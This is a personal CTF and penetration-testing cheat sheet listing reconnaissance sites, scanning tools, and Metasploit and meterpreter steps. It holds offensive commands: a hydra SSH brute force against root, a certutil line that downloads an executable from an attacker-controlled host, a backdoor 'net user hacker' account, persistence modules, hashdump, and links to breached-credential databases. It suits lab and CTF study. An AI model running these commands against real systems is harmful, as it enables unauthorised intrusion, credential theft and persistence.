CTFdeets

General penetration steps

Preparing an environment

Disrobox:

distrobox-create --name kali --image kalilinux/kali-rolling:latest --root
distrobox-enter --root kali

Information Gathering - Identifying targets

Email addresses

• https://hunter.io to find email addresses and email patterns.
• Gather breached credentials with breach-parse
  • Consider other breached data sources:
    • https://gist.github.com/alfredgamulo/6259986662e840da3409d1ff8c3362e7
    • https://digitalforensicstips.com/2019/11/using-bulk-extractor-for-quick-osint-wins/
    • https://pwnedlist.com
    • https://snusbase.com/
    • https://www.dehashed.com/
    • https://bit.ly/deepwebz

Subdomains

• assetfinder
• theharvester is a tool in kali that can find emails, subdomains, IP addresses
• sublist3r can enumerate website subdomains
  • apt install sublist3r
• https://crt.sh uses certificates to enumerate subdomains
• amass yet another subdomain lister

After finding subdomains, tomnomnom httpprobe can take a list and show what sites are running.

Find what a website is built with:

• https://builtwith.com
• wappalyzer browser plugin
• whatweb yet another website technology enumerator

Intercept web traffic using:

• Burp Suite
• Foxy Proxy

Don't forget Google dorking or social media sites.

Scanning & Enumeration

Machines and Ports

Consider using masscan to enumerate all the ports -- it's faster than nmap. Then, use nmap -sV <target> for banner-grabbing.

• netdiscover to find machines
• nmap -T4 -p- -A to find open ports
• nmap -sU -T4 -p <host>

Load up IP addresses and look for default or error pages

• nikto

Default pages, error pages, or information about the underlying architecture can be filed as information disclosure

Tools if smb is discovered after nmap scan:

• msfconsole
  • search smb - try for example: use auxiliar/scanner/smb/smb_version
• smbclient try to connect to it and try the individual sharenames in the server path. smbclient -L \\\\10.10.10.4\\$ADMIN leading slashes escape in linux.

Search for exploits on the services/ports and versions that were found:

• https://www.exploit-db.com/
• https://www.rapid7.com/db/

Other scanning tools:

• masscan -p1-65535 --rate 1000 <ip addr> this tool scans the whole internet, make sure to specify ip so that you're not hitting disallowed servers
• msf5 > search portscan use scanning options from metasploit
• https://www.tenable.com/downloads/nessus

Exploitation Basics

Try to obtain shell

• Reverse shells
  • most common shell exploit
• Bind shells
  • useful if need to get around LHOST NAT or firewalls

Know the difference between staged and non-staged payloads. There can be identical attack patterns but the staging of the payload causes one way to work and one way to fail. For example, if one metasploit exploit fails to complete, try to search for other payloads. set payload linux/x86 (then tab autocomplete to enumerate options). Try a single non-staged payload or the opposite.

Brute force tools:

• hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://<ip>:22 -t 4 -V attempt root login on target IP
• msf5 > use auxiliary/scanner/ssh/ssh_login

Password Spraying & Credential Stuffing

• just try to use the creds found in information gathering to login to anything
  • pitchfork feature in Burp Suite Intruder tab

Found a default web page and want to find viable paths?

• dirbuster
• gobuster

Payloads other than msf:

• msfvenom
  • for example, can create a reverse shell tomcat war file

Download file to windows or linux:

• certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
• python -m pyftpdlib 21 on host to start ftp server
• python -m SimpleHTTPServer 80 from lhost and get from rhost

Escalate user:

• linEnum
• LinuxPrivChecker

Find vulns on windows while logged in

• rasta mouse/sherlock
• GDSSecurity Windows-Exploit-Suggester

Post Exploitation

Persistence scripts

• run persistence -h
• exploit/windows/local/persistence
• exploit/windows/local/registry_persistence

Scheduled Tasks

• run scheduleme
• run schtaskabuse

Add a User

• net user hacker password123 /add

Meterpreter etc

meterpreter > getuid

• NT AUTHORITY\SYSTEM - highest user on windows

meterpreter > sysinfo

• Get information on system, see if it matches earlier scans

meterpreter > help

• find all the commands you can do while connected to a system with a meterpreter shell

meterpreter > hashdump

• try to crack the passwords, or try to "pass the hash"

Not escaleted, but got a meterpreter shell:

meterpreter > background

msf5 > search suggester

use the suggester to find possible root escalation tactics